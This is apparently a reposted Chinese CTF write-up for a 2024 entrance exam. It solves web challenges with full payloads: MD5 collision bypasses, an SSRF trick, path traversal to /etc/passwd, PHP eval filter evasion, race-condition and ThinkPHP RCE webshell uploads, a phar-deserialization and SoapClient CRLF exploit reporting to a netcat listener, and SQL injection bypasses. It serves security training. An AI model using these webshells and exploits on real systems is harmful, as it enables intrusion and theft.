云曦2024秋季开学考

ezezssrf

第一关:md5弱比较

yunxi%5B%5D=1&wlgf%5B%5D=2

第二关: md5强比较

需要在bp中传参,在hackbar里不行

yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DC

V%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%

93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV

%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%9

3%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第三关:ssrf

GLG=http://blog.csdn.net@127.0.0.1

第四关:无回显命令执行

运用tee命令或者>写入文件

cmd=cat /flag | tee 1.txt

完整payload:

yunxi%5B%5D=1&wlgf%5B%5D=2&yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7B

r%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00

%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt

小小py

点击图片能够下载,用bp抓包

发现图片的下载路径

尝试利用这个路径查看文件,发现不能直接回显

尝试用目录穿越查看一下/etc/passwd发现成功回显

接着查看当前进程运行的环境变量/proc/self/environ,发现flag

学习高数

用dirsearch等工具扫描没发现注入点

根据提示

访问发现是原页面,用bp抓包进行页面爆破

发现一个不同的页面

访问cvFXZohgjf.php

限制了payload长度并且禁用一堆符号

原payload:

?c=$pi=_GET;$pi=$$pi;$pi[0]($pi[1])&0=system&1=cat /flag

这里我们可以利用异或得到更多的字符构造

用脚本利用白名单里的函数生成可用字符

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}

将得到的结果放入记事本搜索需要构造的字符

$pi=_GET->$pi=(is_nan^(6).(4)).(tan^(1).(5))

$$pi->$_GET

由于[]被禁用所以可以用{}

完整payload:

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

 payload得到flag(这里的flag环境有问题)

你能跟上我的speed吗

随便上传文件后发现都只是一张图片

根据题目的speed可以猜测一下可能是条件竞争

上传文件写入一句话木马:

<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>

抓包上传文件的请求并发送到intruder

抓包访问上传文件的路径

两处的payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)

两边同时爆破,在文件上传路径页面爆到显示333页面停止

发送到repeater,更改1.php为shell.php,访问成功

 用蚁剑连接

找到flag

文件上传

参考:SUCTF2019 upload-lab2

题目给了源码首先代码审计

首先找获得flag的点

//admin.php

需要触发__wakeup()魔术方法,触发__wakeup()需要触发反序列化

//class.php

在getMIME方法中可以发现一个finfo_file可用于触发phar的反序列化

补:finfo_file/finfo_buffer/mime_content_type

均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发 phar 反序列化

//func.php

func.php接受一个url参数,参数经过一个正则,会去你上传的目录找你上传的文件,获取MIME返回。

在func.php的源码中可以发现$file->getMIME();所以只需要我们上传phar文件后func.php会找到上传文件触发getMIME触发phar的反序列化

从而触发admin.php里的命令执行,接着就需要实例化Ad类

//admin.php

可以发现Ad类的实例化$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);

但是要实例化Ad类,必须是127.0.0.1访问,所以需要用ssrf构造

//class.php

在class.php的__wakeup()方法下可以发现利用点

通过反射初始化了一个类并调用了admin.php里的check方法

//admin.php

这段代码的主要作用是通过反射机制来实现动态调用类的方法,可以用于灵活地处理不同的类和方法调用。

补:使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + SoapClient + CRLF = SSRF

  • Deserialization(反序列化)‌:在PHP中,$_SESSION数据在存储时会被序列化和反序列化。如果PHP在反序列化存储的$_SESSION数据时使用的处理器和序列化时使用的处理器不同,这可能导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。

  • SoapClient‌:SoapClient是PHP的一个内置类,用于发送SOAP请求。通过特定的方法调用,可以触发SoapClient的__call魔术方法,进而利用SoapClient发送HTTP请求。这为利用SoapClient进行SSRF攻击提供了可能。

  • CRLF Injection‌:CRLF注入漏洞允许攻击者在HTTP响应头中注入换行符,进而控制HTTP响应的内容。在HTTP协议中,HTTP响应头与HTTP响应体通过CRLF(回车符和换行符)分隔。通过控制这些字符,攻击者可以注入会话Cookie或HTML代码,实现HTTP响应分割(HTTP Response Splitting,HRS)攻击。

参考文章:https://zhuanlan.zhihu.com/p/80918004

所以如果我们利用class.php的__wakeup()将类名改为SoapClient,调用check方法时就会去调用__call方法,实现SSRF

总结该题的主要知识点:phar反序列化 、ssrf(SoapClient反序列化+CRLF漏洞)

exp:

<?php
$phar = new Phar('a.phar');
$phar->startBuffering();    //开始写入内容
$phar->addFromString('a.txt', 'text');     //添加要一起加入phar归档的文件(文件名+内容)    
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub 绕过<?php检测
//$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File
{public $file_name = "";    //file_name为一个数组public $func = "SoapClient";    //将类名改为SoapClientfunction __construct(){$target = "http://127.0.0.1/admin.php";    //构造127.0.0.1$post_string = 'admin=1&ip=your_ip&port=7777&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=' . "\r\n";    //构造HTTP POST请求的主体内容$headers = [];    //定义一个空数组$this->file_name = [null,array('location' => $target,'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . 'Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string),'uri' => 'hello')];    //将 HTTP 请求的参数和头部信息构建成一个数组;CRLF漏洞的注入}            
}$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);    //序列化内容,这里内部相当于调用了serialize函数
$phar->stopBuffering();     //停止写入,签名自动计算

'location' => $target, 'user_agent' =>  'xxxxx\r\nContent-Type: application/x-www-form-urlencoded\r\n' . join('\r\n', headers).′Content−Length:′.(string)strlen(headers).′Content−Length:′.(string)strlen(post_string) . '\r\n\r\n' . $post_string), 'uri' => 'hello 

然后在func.php页面访问上传文件,由于不能直接用phar://,所以可以用php://filter来绕过

php://filter/resource=phar://upload/13c70ceb0ed6069bbd54be4d3fa363dc/394659692a460258b45a99f1424ea357.jpg 

提交前在自己的服务器打开监听端口(这里设置的是7777)

nc -lvvp 7777

 提交后即可在服务器看到flag,由于这题题目有问题所以最后监听不到flag

真正的hacker!

进入是一个thinkphp搭建的页面

用ThinkphpGUI扫描

发现存在5.0.23版本的rce漏洞

根据页面提供的payload可以得到flag1

可以发现flag1给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell后才能得到。

选择版本后发现不能直接getshell

尝试一下反弹shell发现也不行,所以这里我们只能利用命令执行木马得到flag

查看当前路径

ls查看上传路径

故需要将木马文件上传至/var/www/public/uploads/

构造一句话木马

echo "PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==" | base64 -d > /var/www/public/uploads/shell.php

(如果木马写入错了用rm uploads/shell.php删除文件后重新生成写入)

用蚁剑连接

找到flag

sssssssssssssssssssql 

看见一个登入界面尝试一下用户:admin 密码:123456

发现登入失败,尝试一下sql注入

用户:admin’ or 1=1--+ 密码:123456

发现返回非法字符说明存在sql注入但是有字符被禁用了

用sql过滤字典看看过滤的字符有哪些

可以发现--+、=、union、sleep、/**/、like、空格、where、format、for、information_schema.tables等字符都被禁用了

根据没被禁用的字符构造payload

a'or(1<>2)#

(1<>2):这是一个条件表达式,表示 1 不等于 2,这个条件总是为真。

#:--+

发现成功注入

由于a'用户为假而(1<>2)判定为真用or连接所以返回为真,如果是(1<>1)为假返回也是假

所以可以判断出这题是一个布尔盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/423962.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为HCIA、HCIP和HCIE认证考试明细

华为认证体系包括三个主要等级&#xff1a;HCIA&#xff08;华为认证ICT助理&#xff09;、HCIP&#xff08;华为认证ICT高级工程师&#xff09;和HCIE&#xff08;华为认证ICT专家&#xff09;。每个等级的认证都有其特定的考试内容和费用。 HCIA&#xff08;华为认证ICT助理…

Excel 基础知识-操作手册2

十、查找与引用函数 Excel中的查找与引用函数非常丰富&#xff0c;以下是一些主要的函数及其使用示例&#xff1a; 1. **VLOOKUP** - 语法&#xff1a;VLOOKUP(lookup_value, table_array, col_index_num, [range_lookup]) - 示例&#xff1a;假设A列是员工编号&#xff0c;B…

国际快递跟集运有什么区别?怎么做才能好集运?

在国际物流的舞台上&#xff0c;海外集运和国际快递是两种备受瞩目的运输方式&#xff0c;那两者之间有什么区别呢&#xff1f; 国际快递其实类似于国内快递&#xff0c;只是运输终点是海外。一般由公司或个人直接向海外邮寄&#xff0c;采用飞机运输&#xff0c;3 - 5 天就能…

IntelliJ IDE 插件开发 | (十二)自定义项目脚手架(上)

系列文章 本系列文章已收录到专栏&#xff0c;交流群号&#xff1a;689220994&#xff0c;也可点击链接加入。 前言 在开发创建一个新项目的时候&#xff0c;我们一般都会使用平台自带的脚手架&#xff0c;如下图所示&#xff1a; 或者是使用网页版&#xff1a; 尽管平台已经…

先楫HPM6750 Windows下VSCode开发环境配置

用的是EVKmini&#xff0c;ft2232作为调试器jtag接口调试 启动start_gui.exe 以hello_world为例&#xff0c;更改一下build path&#xff0c;可以generate并使用gcc compile 最后会得到这些 点击start_gui里面的命令行&#xff0c;用命令行启动vscode 新建.vscode文件夹&…

如何让Windows控制台窗口不接受鼠标点击(禁用鼠标输入)

一、简述 在我们编写控制台应用程序时&#xff0c;默认情况下程序的打印输出会在控制台窗口中进行显示&#xff0c;我们在写服务功能时在窗口中会不断打印消息输出&#xff0c;这个时候如果使用鼠标点击了控制台窗口&#xff0c;会阻塞程序的继续运行&#xff0c;导致我们的程…

vue使用TreeSelect设置带所有父级节点的回显

Element Plus的el-tree-select组件 思路&#xff1a; 选中节点时&#xff0c;给选中的节点赋值 pathLabel&#xff0c;pathLabel 为函数生成的节点名字拼接&#xff0c;数据源中不包含。 在el-tree-select组件中设置 props“{ label: ‘pathLabel’ }” 控制选中时input框中回…

树莓派智能语音助手实现音乐播放

树莓派语音助手从诞生的第一天开始&#xff0c;我就想着让它能像小爱音箱一样&#xff0c;可以语音控制播放音乐。经过这些日子的倒腾&#xff0c;今天终于实现了。 接下里&#xff0c;和大家分享下我的实现方法&#xff1a;首先音乐播放模块用的是我在上一篇博文写的《用sound…

基于spring的博客系统(二)

4. 业务代码 4.1 持久层 根据需求, 先⼤致计算有哪些DB相关操作, 完成持久层初步代码, 后续再根据业务需求进⾏完善 1. ⽤⼾登录⻚ a. 根据⽤⼾名查询⽤⼾信息 2. 博客列表⻚ a. 根据id查询user信息 b. 获取所有博客列表 3. 博客详情⻚ a. 根据博客ID查询博客信息 b. 根据博客I…

现代 Web 开发工具箱:Element-UI 表单组件全攻略(二)

现代 Web 开发工具箱&#xff1a;Element-UI 表单组件全攻略&#xff08;二&#xff09; 一 . Switch 开关控件1.1 Switch 组件的创建① 注册路由② 创建 Switch 组件 1.2 Switch 组件的属性① 开关的宽度② 开关 打开/关闭 的文字提示③ 开关打开或者关闭时候的值④ 开关打开或…

Qt控制开发板的LED

Qt控制开发板的LED 使用开发板的IO接口进行控制是嵌入式中非常重要的一点&#xff0c;就像冯诺依曼原理说的一样&#xff0c;一个计算机最起码要有输入输出吧&#xff0c;我们有了信息的接收和处理&#xff0c;那我们就要有输出。 我们在开发板上一般都是使用开发板的GPIO接口…

测试通用面试题大全

24年软件测试的发展如何&#xff1f; 1、IT行业还会继续升温&#xff0c;高质量人才需求相对还是短缺。 2、要求变高之后&#xff0c;很难再下降了&#xff0c;学历和经验。 3、功能测试之外的东西&#xff0c;接口、性能和自动化要掌握一点。 4、长远来看&#xff0c;软件…

数据集 wider_face 人脸数据集 人脸检测 >> DataBall

数据集 wider 人脸检测数据集 WIDER FACE: A Face Detection Benchmark inproceedings{yang2016wider, Author {Yang, Shuo and Luo, Ping and Loy, Chen Change and Tang, Xiaoou}, Booktitle {IEEE Conference on Computer Vision and Pattern Recognition (CVPR)}, Title…

Radware Alteon 负载均衡-基于URL Filetype的七层负载均衡

作者&#xff1a;Xiaolei Ren Radware Alteon作为一款高性能的负载均衡器&#xff0c;其基于URL Filetype的七层负载均衡功能为众多企业提供了灵活、高效的解决方案。 该案例实现如下需求&#xff1a;当客户端访问服务器时&#xff0c;默认访问10.200.1.100&#xff0c;在ht…

【Ubuntu】Ubuntu双网卡配置 实现内外网互不影响同时可用

【Ubuntu】Ubuntu双网卡配置 实现内外网互不影响同时可用 建议前提配置用到的命令参考文献&#xff1a; 建议 本文仅作个人记录&#xff0c;请勿完全照搬&#xff0c;建议直接看此视频&#xff0c;按作者的步骤进行配置 linux配置内外网&#xff08;ubuntu举例&#xff09;&am…

决策树算法上篇

决策树概述 决策树是属于有监督机器学习的一种&#xff0c;起源非常早&#xff0c;符合直觉并且非常直观&#xff0c;模仿人类做决策的过程&#xff0c;早期人工智能模型中有很多应用&#xff0c;现在更多的是使用基于决策树的一些集成学习的算法。 示例一&#xff1a; 上表根据…

Sparse4D v1

Sparse4D: Multi-view 3D Object Detection with Sparse Spatial-Temporal Fusion Abstract 基于鸟瞰图 (BEV) 的方法最近在多视图 3D 检测任务方面取得了重大进展。与基于 BEV 的方法相比&#xff0c;基于稀疏的方法在性能上落后&#xff0c;但仍然有很多不可忽略的优点。为了…

四数之和--力扣18

四数之和 题目思路代码 题目 思路 类似于三数之和&#xff0c;先排序&#xff0c;利用双指针解题。 如果排序后的第一个元素大于目标值&#xff0c;直接返回&#xff0c;为什么nums[i]需要大于等于0&#xff0c;因为目标值可能为负数。比如&#xff1a;数组是[-4, -3, -2, -1…

大数据安全需求分析与安全保护工程

大数据安全威胁与需求分析 特征&#xff1a;海量是数据规模、快速的数据流转、多样的数据类型和价值密度低 种类和来源&#xff1a;结构化、半结构化和非结构化数据 数据种类&#xff1a; 结构化数据&#xff1a;关系模型数据&#xff0c;以关系数据库表形式管理的数据 非…

Docker:对已有的容器,对当前容器映射的端口实时 (增删改查)

首先我的docker已经起了一个容器&#xff0c;我突然想把他的80->80映射的端口改成80->8080 但是我不想去新启动容器&#xff0c;想在现有容器基础上去修改&#xff0c;或者我想删除某个端口映射&#xff08;只是大概思路&#xff09; 如何寻找容器配置文件位置 首先我这…